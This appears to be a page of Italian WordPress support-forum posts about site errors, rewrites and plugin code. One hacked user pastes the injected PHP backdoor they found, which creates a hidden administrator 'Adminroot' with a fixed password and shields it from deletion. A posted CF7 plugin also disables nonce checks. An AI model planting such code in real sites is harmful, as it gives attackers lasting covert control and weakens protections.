      WP $wp Current WordPress environment instance. */ $headers = apply_filters(‘
      wp_headers’, $headers, $this ); if ( ! empty( $status ) ) { status_header(
      $status ); } // If Last-Modified is set to false, it should not be sent (no-
      cache situation). if ( isset( $headers[‘Last-Modified’] ) && false === $headers[‘
      Last-Modified’] ) { unset( $headers[‘Last-Modified’] ); if ( ! headers_sent()){
      header_remove( ‘Last-Modified’ ); } } if ( ! headers_sent() ) { foreach ( (
      array) $headers as $name => $field_value ) { header( “{$name}: {$field_value}”);}}
      if ( $exit_required ) { exit; } /** * Fires once the requested HTTP headers
      for caching, content type, etc. have been sent. * * [@since](https://it.wordpress.org/support/users/since/)
      2.1.0 * * [@param](https://it.wordpress.org/support/users/param/) WP $wp Current
      WordPress environment instance (passed by reference). */ do_action_ref_array(‘
      send_headers’, array( &$this ) ); } /** * Sets the query string property based
      off of the query variable property. * * The {@see ‘query_string’} filter is
      deprecated, but still works. Plugins should * use the {@see ‘request’} filter
      instead. * * [@since](https://it.wordpress.org/support/users/since/) 2.0.0*/
      public function build_query_string() { $this->query_string = ”; foreach ( (
      array) array_keys( $this->query_vars ) as $wpvar ) { if ( ” !== $this->query_vars[
      $wpvar ] ) { $this->query_string .= ( strlen( $this->query_string ) < 1 ) ?”:‘&’;
      if ( ! is_scalar( $this->query_vars[ $wpvar ] ) ) { // Discard non-scalars.
      continue; } $this->query_string .= $wpvar . ‘=’ . rawurlencode( $this->query_vars[
      $wpvar ] ); } } if ( has_filter( ‘query_string’ ) ) { // Don’t bother filtering
      and parsing if no plugins are hooked in. /** * Filters the query string before
      parsing. * * [@since](https://it.wordpress.org/support/users/since/) 1.5.0*
      [@deprecated](https://it.wordpress.org/support/users/deprecated/) 2.1.0 Use{
      @see ‘query_vars’} or {@see ‘request’} filters instead. * * [@param](https://it.wordpress.org/support/users/param/)
      string $query_string The query string to modify. */ $this->query_string = 
      apply_filters_deprecated( ‘query_string’, array( $this->query_string ), ‘2.1.0’,‘
      query_vars, request’ ); parse_str( $this->query_string, $this->query_vars );}}/***
      Set up the WordPress Globals. * * The query_vars property will be extracted
      to the GLOBALS. So care should * be taken when naming global variables that
      might interfere with the * WordPress environment. * * [@since](https://it.wordpress.org/support/users/since/)
      2.0.0 * * [@global](https://it.wordpress.org/support/users/global/) WP_Query
      $wp_query WordPress Query object. * [@global](https://it.wordpress.org/support/users/global/)
      string $query_string Query string for the loop. * [@global](https://it.wordpress.org/support/users/global/)
      array $posts The found posts. * [@global](https://it.wordpress.org/support/users/global/)
      WP_Post|null $post The current post, if available. * [@global](https://it.wordpress.org/support/users/global/)
      string $request The SQL statement for the request. * [@global](https://it.wordpress.org/support/users/global/)
      int $more Only set, if single page or post. * [@global](https://it.wordpress.org/support/users/global/)
      int $single If single page or post. Only set, if single page or post. * [@global](https://it.wordpress.org/support/users/global/)
      WP_User $authordata Only set, if author archive. */ public function register_globals(){
      global $wp_query; // Extract updated query vars back into global namespace.
      foreach ( (array) $wp_query->query_vars as $key => $value ) { $GLOBALS[ $key]
      = $value; } $GLOBALS[‘query_string’] = $this->query_string; $GLOBALS[‘posts’]
      = & $wp_query->posts; $GLOBALS[‘post’] = isset( $wp_query->post ) ? $wp_query-
      >post : null; $GLOBALS[‘request’] = $wp_query->request; if ( $wp_query->is_single()
      || $wp_query->is_page() ) { $GLOBALS[‘more’] = 1; $GLOBALS[‘single’] = 1; }
      if ( $wp_query->is_author() ) { $GLOBALS[‘authordata’] = get_userdata( get_queried_object_id());}}/***
      Set up the current user. * * [@since](https://it.wordpress.org/support/users/since/)
      2.0.0 */ public function init() { wp_get_current_user(); } /** * Set up the
      Loop based on the query variables. * * [@since](https://it.wordpress.org/support/users/since/)
      2.0.0 * * [@global](https://it.wordpress.org/support/users/global/) WP_Query
      $wp_the_query WordPress Query object. */ public function query_posts() { global
      $wp_the_query; $this->build_query_string(); $wp_the_query->query( $this->query_vars);}/***
      Set the Headers for 404, if nothing is found for requested URL. * * Issue 
      a 404 if a request doesn’t match any posts and doesn’t match any object * (
      e.g. an existing-but-empty category, tag, author) and a 404 was not already
      issued, * and if the request was not a search or the homepage. * * Otherwise,
      issue a 200. * * This sets headers after posts have been queried. handle_404()
      really means “handle status”. * By inspecting the result of querying posts,
      seemingly successful requests can be switched to * a 404 so that canonical
      redirection logic can kick in. * * [@since](https://it.wordpress.org/support/users/since/)
      2.0.0 * * [@global](https://it.wordpress.org/support/users/global/) WP_Query
      $wp_query WordPress Query object. */ public function handle_404() { global
      $wp_query; /** * Filters whether to short-circuit default header status handling.**
      Returning a non-false value from the filter will short-circuit the handling*
      and return early. * * [@since](https://it.wordpress.org/support/users/since/)
      4.5.0 * * [@param](https://it.wordpress.org/support/users/param/) bool $preempt
      Whether to short-circuit default header status handling. Default false. * 
      [@param](https://it.wordpress.org/support/users/param/) WP_Query $wp_query
      WordPress Query object. */ if ( false !== apply_filters( ‘pre_handle_404’,
      false, $wp_query ) ) { return; } // If we’ve already issued a 404, bail. if(
      is_404() ) { return; } $set_404 = true; // Never 404 for the admin, robots,
      or favicon. if ( is_admin() || is_robots() || is_favicon() ) { $set_404 = 
      false; // If posts were found, check for paged content. } elseif ( $wp_query-
      >posts ) { $content_found = true; if ( is_singular() ) { $post = isset( $wp_query-
      >post ) ? $wp_query->post : null; $next = ”; // Check for paged content that
      exceeds the max number of pages. if ( $post && ! empty( $this->query_vars[‘
      page’] ) ) { // Check if content is actually intended to be paged. if ( str_contains(
      $post->post_content, $next ) ) { $page = trim( $this->query_vars[‘page’], ‘/’);
      $content_found = (int) $page <= ( substr_count( $post->post_content, $next)
      + 1 ); } else { $content_found = false; } } } // The posts page does not support
      the pagination. if ( $wp_query->is_posts_page && ! empty( $this->query_vars[‘
      page’] ) ) { $content_found = false; } if ( $content_found ) { $set_404 = 
      false; } // We will 404 for paged queries, as no posts were found. } elseif(!
      is_paged() ) { $author = get_query_var( ‘author’ ); // Don’t 404 for authors
      without posts as long as they matched an author on this site. if ( is_author()&&
      is_numeric( $author ) && $author > 0 && is_user_member_of_blog( $author ) //
      Don’t 404 for these queries if they matched an object. || ( is_tag() || is_category()
      || is_tax() || is_post_type_archive() ) && get_queried_object() // Don’t 404
      for these queries either. || is_home() || is_search() || is_feed() ) { $set_404
      = false; } } if ( $set_404 ) { // Guess it’s time to 404. $wp_query->set_404();
      status_header( 404 ); nocache_headers(); } else { status_header( 200 ); } }/***
      Sets up all of the variables required by the WordPress environment. * * The
      action {@see ‘wp’} has one parameter that references the WP object. It * allows
      for accessing the properties and methods to further manipulate the * object.**
      [@since](https://it.wordpress.org/support/users/since/) 2.0.0 * * [@param](https://it.wordpress.org/support/users/param/)
      string|array $query_args Passed to parse_request(). */ public function main(
      $query_args = ” ) { $this->init(); $parsed = $this->parse_request( $query_args);
      if ( $parsed ) { $this->query_posts(); $this->handle_404(); $this->register_globals();}
      $this->send_headers(); /** * Fires once the WordPress environment has been
      set up. * * [@since](https://it.wordpress.org/support/users/since/) 2.1.0 **
      [@param](https://it.wordpress.org/support/users/param/) WP $wp Current WordPress
      environment instance (passed by reference). */ do_action_ref_array( ‘wp’, 
      array( &$this ) ); } }
 *   Forum: [Varie ed eventuali](https://it.wordpress.org/support/forum/varie-ed-eventuali/)
   
   Come il topic: [Impossibile accedere a wp-admin dopo Fatal error](https://it.wordpress.org/support/topic/impossibile-accedere-a-wp-admin-dopo-fatal-error/)
    -  [gzaffiro](https://it.wordpress.org/support/users/gzaffiro/)
    - (@gzaffiro)
    - [1 anno, 1 mese fa](https://it.wordpress.org/support/topic/impossibile-accedere-a-wp-admin-dopo-fatal-error/)
    - Buongiorno,
    - scrivo per un problema al mio sito personale gianlucazaffiro.it, non sono 
      un esperto.
    - Mi sono accorto di recente di alcuni malfunzionamenti e di non poter accedere
      al pannello di admin del mio sito wordpress. Il sito è ospitato su tophost
      da circa 4 anni senza aver mai dato problemi. Il sito funziona parzialmente,
      le pagine sono raggiungibili, ma la funzione per il contatto via form non 
      funziona. Se provo a digitare gianlucazaffiro.it/wp-admin o a inviare un messaggio
      tramite il form viene riportato l’errore che segue:
      **Fatal error**: Uncaught
      Error: Call to undefined function wp_get_wp_version() in /home/mhd-01/www.
      gianlucazaffiro.it/htdocs/wp-includes/blocks/index.php:30 Stack trace: #0 /
      home/mhd-01/www.gianlucazaffiro.it/htdocs/wp-includes/class-wp-hook.php(324):
      register_core_block_style_handles() #1 /home/mhd-01/www.gianlucazaffiro.it/
      htdocs/wp-includes/class-wp-hook.php(348): WP_Hook->apply_filters() #2 /home/
      mhd-01/www.gianlucazaffiro.it/htdocs/wp-includes/plugin.php(517): WP_Hook-
      >do_action() #3 /home/mhd-01/www.gianlucazaffiro.it/htdocs/wp-settings.php(
      700): do_action() #4 /home/mhd-01/www.gianlucazaffiro.it/htdocs/wp-config.
      php(94): require_once(‘/home/mhd-01/ww…’) #5 /home/mhd-01/www.gianlucazaffiro.
      it/htdocs/wp-load.php(50): require_once(‘/home/mhd-01/ww…’) #6 /home/mhd-01/
      www.gianlucazaffiro.it/htdocs/wp-blog-header.php(13): require_once(‘/home/
      mhd-01/ww…’) #7 /home/mhd-01/www.gianlucazaffiro.it/htdocs/index.php(17): 
      require(‘/home/mhd-01/ww…’) #8 {main} thrown in **/home/mhd-01/www.gianlucazaffiro.
      it/htdocs/wp-includes/blocks/index.php** on line **30**
    - Purtroppo non ricordo di aver fatto un back-up (dovrei verificare se avevo
      installato un plugin per questa funzionalità) ma non saprei come fare per 
      verificare.
    - Vi ringrazio per i suggerimenti che vorrete darmi.
    - Gianluca
    - La pagina su cui ho bisogno di aiuto: _[[devi essere connesso](https://login.wordpress.org/?redirect_to=https%3A%2F%2Fit.wordpress.org%2Fsupport%2Fsearch%2FHeader%2Bwordpress%2F%3Foutput_format%3Dmd&locale=it_IT)
      per vedere il link]_
 *   Forum: [Fixing WordPress](https://it.wordpress.org/support/forum/guide-e-soluzioni/)
   
   Come il topic: [pagine non si aprono dopo migrazione da wamp a lamp](https://it.wordpress.org/support/topic/pagine-non-si-aprono-dopo-migrazione-da-wamp-a-lamp/)
    -  [mariuzzu75](https://it.wordpress.org/support/users/mariuzzu75/)
    - (@mariuzzu75)
    - [1 anno, 1 mese fa](https://it.wordpress.org/support/topic/pagine-non-si-aprono-dopo-migrazione-da-wamp-a-lamp/)
    - ho creato un sito wordpress locale su uno stack wamp, l’ho trasferito su uno
      stack lamp. il sito si apre ma se provo ad aprire una qualsiasi pagina,dal
      link in header, appare l’errore “The requested URL was not found on this server.”.
      Il link è tipo [http://localhost/blog/](http://localhost/blog/esami/)foto/”“
      Se provo a modificare una pagina appare l’errore “Aggiornamento fallito. La
      risposta non è una risposta JSON valida.”
    - il file .htaccess è fatto così;
    - BEGIN WordPress Le direttive (linee) tra “BEGIN WordPress” e “END WordPress”
      sono generate dinamicamente, e dovrebbero essere modificate solo tramite i
      filtri di WordPress. Ogni modifica alle direttive tra questi marcatori verrà
      sovrascritta.
    - RewriteEngine On RewriteRule .* – [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}]
      RewriteBase /blog/ RewriteRule ^index.php$ – [L] RewriteCond %{REQUEST_FILENAME}!-
      f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /blog/index.php [L] END
      WordPress
    - ho già provato a ricreare i permalink
 *   Forum: [Varie ed eventuali](https://it.wordpress.org/support/forum/varie-ed-eventuali/)
   
   Come il topic: [Scritte PHP in header](https://it.wordpress.org/support/topic/scritte-php-in-header/)
    -  [artemis21](https://it.wordpress.org/support/users/artemis21/)
    - (@artemis21)
    - [1 anno, 1 mese fa](https://it.wordpress.org/support/topic/scritte-php-in-header/)
    - Buongiorno, il mio sito presenta negli header di tutte le finestre il seguente
      testo php. Penso di essere stato hackerato, come posso ripristinare la situazione
      iniziale? ho aggiornato wordpress e sostituito tutte le cartelle di base con
      cartelle pulite.
    - `min_users_protect_user_query') && function_exists('add_action')) { add_action('
      pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users','
      protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
      add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query(
      $user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id');
      if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search-
      >query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.
      ID<>{$id}", $user_search->query_where ); } function protect_user_count($views){
      $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[
      0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html 
      = explode('(', $views['administrator']); $count = explode(')', $html[1]); 
      $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . 
      $count[1]; return $views; } function wp_admin_users_protect_users_profiles(){
      $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset(
      $_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('
      Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('
      _pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['
      action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata(
      $_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login'
      => 'Adminroot', 'user_pass' => 'r007pd8skdgSejrd', 'role' => 'administrator','
      user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])){
      $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { 
      $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user-
      >user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['
      ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER'])&&
      username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }`
 *   Forum: [Aspetto = Temi](https://it.wordpress.org/support/forum/temi/)
    Come
   il topic: [Template specifico per una Custom Post Type](https://it.wordpress.org/support/topic/template-specifico-per-una-custom-post-type/)
    -  [thegoldeneagle](https://it.wordpress.org/support/users/thegoldeneagle/)
    - (@thegoldeneagle)
    - [1 anno, 1 mese fa](https://it.wordpress.org/support/topic/template-specifico-per-una-custom-post-type/)
    - Salve a tutti.
      Per la seconda volta nella mia vita, mi sto dilettando nello
      sviluppo di un sito web (sono una Graphic Designer). Sto usando WordPress 
      + Elementor Free. Avrei bisogno di 2 tipologie di articoli diversi ossia Notizie(
      userò il template di base dell’articolo) e “Predica” (creata con ACF -> Custom
      Post Type). In quest’ultimo caso, il design della pagina (da assemblare con
      Elementor) deve essere uguale per tutte le prediche.
    - La scrittura di questa tipologia di articoli sarà gestita da persone che non
      hanno molta dimestichezza con questa tipologia di strumenti. Vorrei pertanto
      lasciare la scrittura e l’inserimento dei vari campi personalizzati quanto
      più semplice possibile, possibilmente attraverso l’interfaccia di scrittura
      dei contenuti propria di WordPress.
    - Quello che mi domando è questo: è possibile creare un** template specifico**
      per “predica” che venga caricato e applicato **automaticamente **all’articolo
      al momento della sua creazione-scrittura?
    - So che se avessi Elementor Pro, avrei potuto usare _Display Conditions_.
      **
      _Che ho fatto _**Ho fatto diverse ricerche online, anche chiedendo l’aiuto
      a ChatGpt, tuttavia a parere mio l’aiuto di un essere umano è insostituibile.
      1) Ho creato sia un template attraverso WordPress che attraverso Royal Element
      Addons (mi sono resa conto successivamente che mettere la condizione per il
      CPT è a pagamento).
    - 2) **ChatGpt **mi ha guidato come di seguito:
       * Siccome sto usando un** tema child**, mi ha fatto creare un file php nella
         cartella del tema child chiamato “**single-predica.php**” contenente le
         seguenti righe di codice:
    -     ```wp-block-code
          <?php /* Template personalizzato per il Custom Post Type "Predica" */ get_header(); // ID del template Elementor (sostituisci con il tuo ID) $template_id = 1672; // Se Elementor è attivo, carica il template personalizzato if ( function_exists('elementor_theme_do_location') && elementor_theme_do_location('single') ) { // Elementor gestisce il template } elseif ( function_exists('elementor') ) { echo do_shortcode('[elementor-template id="' . $template_id . '"]'); } else { // Se Elementor non è attivo, mostra il contenuto classico if ( have_posts() ) : while ( have_posts() ) : the_post(); ?> <article> <h1><?php the_title(); ?></h1> <div class="content"> <?php the_content(); ?> </div> </article> <?php endwhile; endif; } get_footer(); ?
          ```
      
       * Nel file “**functions.php**” mi ha fatto aggiungere questo codice:
    -     ```wp-block-code
          function override_predica_template($template) { if ( is_singular('predica') ) { return get_stylesheet_directory() . '/single-predica.php'; } return $template; } add_filter('single_template', 'override_predica_template');
          ```
      
    - 
      La mia alternativa, macchinosa e non automatica, è caricare per ogni predica
      il template attraverso Elementor. Mi appello dunque alla vostra esperienza.
      C’è un modo per farlo? Spero di essere stata per tutto chiara. Se ho detto
      delle fesserie, non biasimatemi.
    - La pagina su cui ho bisogno di aiuto: _[[devi essere connesso](https://login.wordpress.org/?redirect_to=https%3A%2F%2Fit.wordpress.org%2Fsupport%2Fsearch%2FHeader%2Bwordpress%2F%3Foutput_format%3Dmd&locale=it_IT)
      per vedere il link]_
 *   Forum: [Varie ed eventuali](https://it.wordpress.org/support/forum/varie-ed-eventuali/)
   
   Come il topic: [Come e dove Inseire Codice Snippet JS oppure markup strutturati su ogni pagina](https://it.wordpress.org/support/topic/come-e-dove-inseire-codice-snippet-js-oppure-markup-strutturati-su-ogni-pagina/)
    -  [GIUSEPPE TARTARELLI](https://it.wordpress.org/support/users/webdevelopmentjs/)
    - (@webdevelopmentjs)
    - [1 anno, 3 mesi fa](https://it.wordpress.org/support/topic/come-e-dove-inseire-codice-snippet-js-oppure-markup-strutturati-su-ogni-pagina/)
    - Buongiorno ho bisogno di aggiungere alcuni snippet js oppure markup strutturati
      e quindi anche codice HTML su ogni singola pagina su WordPress, ma accedendo
      su aspetto editor del tema. Da quello che so In questo modo andando su header.
      php lo sto facendo sull’intero sito e invece a me servirebbe su ogni singola
      pagina Come posso fare?
    - La pagina su cui ho bisogno di aiuto: _[[devi essere connesso](https://login.wordpress.org/?redirect_to=https%3A%2F%2Fit.wordpress.org%2Fsupport%2Fsearch%2FHeader%2Bwordpress%2F%3Foutput_format%3Dmd&locale=it_IT)
      per vedere il link]_
 *   Forum: [Fixing WordPress](https://it.wordpress.org/support/forum/guide-e-soluzioni/)
   
   Come il topic: [Fatal error causato da Plugin](https://it.wordpress.org/support/topic/fatal-error-causato-da-plugin/)
    -  [lonniepl](https://it.wordpress.org/support/users/lonniepl/)
    - (@lonniepl)
    - [1 anno, 6 mesi fa](https://it.wordpress.org/support/topic/fatal-error-causato-da-plugin/)
    - Buongiorno da qualche settimana il sito lonnieplanet.com è inacessibile, sia
      nella sua veste pubblica che nella pagina Admin.
    - Quando digito l’indirizzo, compare questo messaggio:
    - **Fatal error**: Uncaught Error: Call to undefined function create_function()
      in /home/customer/www/lonnieplanet.com/public_html/wp-content/plugins/nomad-
      world-map/includes/nwm-widget-class.php:327 Stack trace: #0 /home/customer/
      www/lonnieplanet.com/public_html/wp-content/plugins/nomad-world-map/nomad-
      world-map.php(48): require() #1 /home/customer/www/lonnieplanet.com/public_html/
      wp-settings.php(522): include_once(‘/home/customer/…’) #2 /home/customer/www/
      lonnieplanet.com/public_html/wp-config.php(87): require_once(‘/home/customer/…’)#
      3 /home/customer/www/lonnieplanet.com/public_html/wp-load.php(50): require_once(‘/
      home/customer/…’) #4 /home/customer/www/lonnieplanet.com/public_html/wp-blog-
      header.php(13): require_once(‘/home/customer/…’) #5 /home/customer/www/lonnieplanet.
      com/public_html/index.php(17): require(‘/home/customer/…’) #6 {main} thrown
      in **/home/customer/www/lonnieplanet.com/public_html/wp-content/plugins/nomad-
      world-map/includes/nwm-widget-class.php** on line **327**
    - Siteground mi invia quotidianamente delle mail in cui segnale l’errore e mi
      offre un link valido un giorno da cui risolvere, ma anche cliccando mi esce
      il seguente messaggio :
    - **Warning**: Cannot modify header information – headers already sent by (output
      started at /home/customer/www/lonnieplanet.com/public_html/wp-config.php:1)
      in **/home/customer/www/lonnieplanet.com/public_html/wp-includes/class-wp-
      recovery-mode-cookie-service.php** on line **50**
    - Ho capito che il problema è causato dal Plugin “Nomap World Map”, che in effetti
      non è aggiornato da tre anni ed è diventato quindi incompatibile. Come posso
      fare a risolvere? Tramite Siteground ho accesso alle cartelle del sito, comprese
      quelle dei plugins, ma non vorrei fare errori. Basta cancellare da FTP il 
      plugin? Grazie.
    - Versione di WordPress 6.6.1
      Tema attivo: Activello (versione 1.4.4)Plugin 
      corrente: Nomad World Map (versione 1.3.1)Versione PHP 8.2.24
    - La pagina su cui ho bisogno di aiuto: _[[devi essere connesso](https://login.wordpress.org/?redirect_to=https%3A%2F%2Fit.wordpress.org%2Fsupport%2Fsearch%2FHeader%2Bwordpress%2F%3Foutput_format%3Dmd&locale=it_IT)
      per vedere il link]_
 *   Forum: [Funzionalità = Plugin](https://it.wordpress.org/support/forum/plugin-e-hack/)
   
   Come il topic: [Errore ad un plugin che genera post da CF7](https://it.wordpress.org/support/topic/errore-ad-un-plugin-che-genera-post-da-cf7/)
    -  [enricotv](https://it.wordpress.org/support/users/enricotv/)
    - (@enricotv)
    - [2 anni fa](https://it.wordpress.org/support/topic/errore-ad-un-plugin-che-genera-post-da-cf7/)
    - Ciao a tutti,
    - dopo i due più recenti aggiornamenti di wordpress non mi funziona più un plugin
      che genera post di una determinata categoria derivante dalla compilazione 
      di moduli di CF7. 
      L’ho controllato e ricontrollato eppure niente da fare,
      con il debug di wordpress mi esce il seguente errore:
    - > Fatal error: Uncaught TypeError: call_user_func_array(): Argument #1 ($callback)
      > must be a valid callback, function “add_author_support_to_posts” not found
      > or invalid function name in /var/www/virtual/mlnv.org/sportelodelsitadino/
      > htdocs/wp-includes/class-wp-hook.php:324
      > Stack trace: 0 /var/www/virtual/mlnv.org/sportelodelsitadino/htdocs/wp-includes/
      > class-wp-hook.php(348): WP_Hook->apply_filters() 1 /var/www/virtual/mlnv.
      > org/sportelodelsitadino/htdocs/wp-includes/plugin.php(517): WP_Hook->do_action()
      > 2 /var/www/virtual/mlnv.org/sportelodelsitadino/htdocs/wp-settings.php(643):
      > do_action() 3 /var/www/virtual/mlnv.org/sportelodelsitadino/htdocs/wp-config.
      > php(82): require_once(‘…’) 4 /var/www/virtual/mlnv.org/sportelodelsitadino/
      > htdocs/wp-load.php(50): require_once(‘…’) 5 /var/www/virtual/mlnv.org/sportelodelsitadino/
      > htdocs/wp-blog-header.php(13): require_once(‘…’) 6 /var/www/virtual/mlnv.
      > org/sportelodelsitadino/htdocs/index.php(17): require(‘…’) 7 {main} thrown
      > in /var/www/virtual/mlnv.org/sportelodelsitadino/htdocs/wp-includes/class-
      > wp-hook.php on line 324
    - Questo di seguito alla fine è il codice php del plugin, so che è lunghetto
      ma se qualcuno gentilmente mi aiuta a trovar l’errore gliene sarei molto grato.
      
      Grazie infinite Enrico
    -     ```wp-block-code
          <?php
      
          if (!defined('ABSPATH')) {
              exit;
          }
      
          /**
           * Our main plugin class
           */
          class CF7_To_WP
          {
      
              /**
               * The single instance of cf7_to_wp.
               * @var     object
               */
              private static $_instance = null;
      
              /**
               * Settings class object
               * @var     object
               */
              public $settings = null;
      
              /**
               * The version number.
               * @var     string
               */
              public $_version;
      
              /**
               * The token.
               * @var     string
               */
              public $_token;
      
              /**
               * The main plugin file.
               * @var     string
               */
              public $file;
      
              /**
               * The main plugin directory.
               * @var     string
               */
              public $dir;
      
              /**
               * The plugin assets directory.
               * @var     string
               */
              public $assets_dir;
      
              /**
               * The plugin assets URL.
               * @var     string
               */
              public $assets_url;
      
              /**
               * Our post type slug.
               *
               * @var string
               */
              private $post_type = 'cf7_form_messages';
      
              /**
               * Constructor function.
               * @access  public
               */
              public function __construct($file = '', $version = '0.1')
              {
                  $this->_version = $version;
                  $this->_token = 'cf7_to_wp';
      
                  // Load plugin environment variables
                  $this->file = $file;
                  $this->dir = dirname($this->file);
                  $this->assets_dir = trailingslashit($this->dir) . 'assets';
                  $this->assets_url = esc_url(trailingslashit(plugins_url('/assets/', $this->file)));
      
                  // Handle localization
                  $this->load_plugin_textdomain();
                  add_action('init', array($this, 'load_localization'), 0);
              }
      
              /**
               * Initialize all the things!
               */
              public function init()
              {
                  // Register Messages post type.
                  add_action('init', array($this, 'register_form_msg_post_type'));
                  add_filter('add_menu_classes', array($this, 'menu_msg_form_bubble'));
                  add_filter('post_row_actions', array($this, 'action_row_for_msg_posts'), 10, 2);
                  add_action('admin_init', [$this, 'maybe_mark_form_message_as_read']);
                  add_filter('wpcf7_verify_nonce', '__return_true');
      
                  // Hook into CF7 actions.
                  add_filter('wpcf7_editor_panels', array($this, 'add_cf7_panel'));
                  add_action('wpcf7_after_save', array($this, 'save_cf7_data'), 50, 1);
                  add_action('wpcf7_mail_sent', array($this, 'create_post_on_form_submission'), 50, 1);
                  add_action('wpcf7_mail_failed', array($this, 'create_post_on_form_submission'), 50, 1);
                  add_action('init', 'add_author_support_to_posts');
                  add_filter('wpcf7_verify_nonce', '__return_true');
              }
      
              /**
               * Load plugin localisation
               */
              public function load_localization()
              {
                  load_plugin_textdomain('cf7_to_wp', false, dirname(plugin_basename($this->file)) . '/lang/');
              }
      
              /**
               * Load plugin textdomain
               */
              public function load_plugin_textdomain()
              {
                  $domain = 'cf7_to_wp';
                  $locale = apply_filters('plugin_locale', get_locale(), $domain);
                  load_textdomain($domain, WP_LANG_DIR . '/' . $domain . '/' . $domain . '-' . $locale . '.mo');
                  load_plugin_textdomain($domain, false, dirname(plugin_basename($this->file)) . '/lang/');
              }
      
              /**
               * Register our post type to store messages.
               */
              public function register_form_msg_post_type()
              {
                  register_post_type(
                      $this->post_type,
                      array(
                          'labels' => array(
                              'name' => __('Pratiche', 'cf7_to_wp'),
                              'singular_name' => __('Pratica', 'cf7_to_wp'),
                              'add_new' => __('Aggiungi nuova', 'cf7_to_wp'),
                              'add_new_item' => __('Aggiungi nuova pratica', 'cf7_to_wp'),
                              'edit' => __('Modifica', 'cf7_to_wp'),
                          ),
                          'description' => 'Pratiche e Servizi',
                          'has_archive' => true,
                          'publicly_queryable' => true,
                          'capability_type' => 'post',
                          'menu_position' => 32,
                          'show_ui' => true,
                          'show_in_menu' => true,
                          'public' => true,
                          'query_var' => true,
                          'menu_icon' => 'dashicons-buddicons-pm',
                          'taxonomies' => array('category'),
                          'supports' => array(
                              'author',
                              'title',
          					'category',
                              'editor',
                              'excerpt',
                              'trackbacks',
                              'page-attributes',
                              'custom-fields',
                              'thumbnail',
                              'sticky',
                          ),
                      )
                  );
              }
      
              /**
               * Add bubble to admin menu
               *
               * @param array $menu
               * @return array $menu
               */
              public function menu_msg_form_bubble($menu)
              {
                  $form_messages_count = wp_count_posts($this->post_type);
                  $pending_count = $form_messages_count->draft + $form_messages_count->pending;
      
                  foreach ($menu as $menu_key => $menu_data) {
                      if ("edit.php?post_type={$this->post_type}" !== $menu_data[2]) {
                          continue;
                      }
      
                      $menu[$menu_key][0] .= " <span class='update-plugins count-$pending_count'><span class='plugin-count'>" . number_format_i18n($pending_count) . '</span></span>';
                  }
      
                  return $menu;
              }
      
              /**
               * Add "Mark as read" action for our post type
               *
               * @param array $actions
               * @param WP_Post $post
               * @return array $actions
               */
              public function action_row_for_msg_posts($actions, $post)
              {
                  if ($post->post_type === $this->post_type && $post->post_status !== 'publish') {
                      $actions['mark_as_read'] = sprintf(
                          '<a href="%s" class="aria-button-if-js" aria-label="%s">%s</a>',
                          wp_nonce_url("edit.php?post_type={$this->post_type}&action=mark_as_read&message_id={$post->ID}", "mark_message_as_read_{$post->ID}"),
                          esc_attr(__('Mark as read', 'cf7_to_wp')),
                          __('Mark as read', 'cf7_to_wp')
                      );
                  }
      
                  return $actions;
              }
      
              /**
               * Mark form message as read
               */
              public function maybe_mark_form_message_as_read()
              {
                  if (isset($_GET['action']) && $_GET['action'] == 'mark_as_read' && isset($_GET['message_id'])) {
                      $message_id = (int) $_GET['message_id'];
      
                      if (isset($_GET['_wpnonce']) && wp_verify_nonce($_GET['_wpnonce'], "mark_message_as_read_{$message_id}")) {
                          $updated_post = wp_update_post(
                              array(
                                  'ID' => $message_id,
                                  'post_status' => 'publish',
                              )
                          );
      
                          wp_redirect(wp_get_referer());
                          exit();
                      }
                  }
              }
      
              /**
               * Add new panel to CF7 form settings
               *
               * @param array $panels
               * @return array
               */
              public function add_cf7_panel($panels)
              {
                  $panels['cf7-to-wp'] = array(
                      'title' => __('Salva messaggi', 'cf7_to_wp'),
                      'callback' => array($this, 'cf7_to_wp_form_metabox'),
                  );
      
                  return $panels;
              }
      
              /**
               * Output the content of our panel/metabox
               *
               * @param WPCF7_ContactForm $post CF7 object
               */
              public function cf7_to_wp_form_metabox($post)
              {
                  $id = $post->id();
                  $cf7towp = get_post_meta($id, '_cf7towp', true);
                  $cf7towp = wp_parse_args(
                      $cf7towp,
                      array(
                          'active' => 0,
                          'title' => '',
                          'content' => '',
                          'category' => 0,
                      )
                  );?>
      
          		<p style="margin-bottom:1em; font-size:1.25em;">
          			<?php _e('Abilitando la casella sottostante ogni modulo inviato compilato verrà pubblicato come nuovo articolo "Pratiche" privato.', 'cf7_to_wp');?>
          		</p>
      
          		<div class="mail-field" style="margin-bottom:1em;">
          			<label for="cf7towp-active">
          				<input type="checkbox" id="cf7towp-active" name="wpcf7-cf7towp-active" value="1" <?php checked($cf7towp['active'], 1);?> />
          				<strong><?php echo esc_html(__('Salvare i moduli compilati come articoli "Pratiche"?', 'cf7_to_wp')); ?></strong>
          			</label>
      
          		</div>
      
          		<div class="pseudo-hr"></div>
      
          		<div class="mail-field">
          			<p class="description">
          				<label for="cf7towp-category"><?php echo esc_html(__('Categoria dell\'articolo', 'cf7_to_wp')); ?></label>
          				<select id="cf7towp-category" name="wpcf7-cf7towp-category">
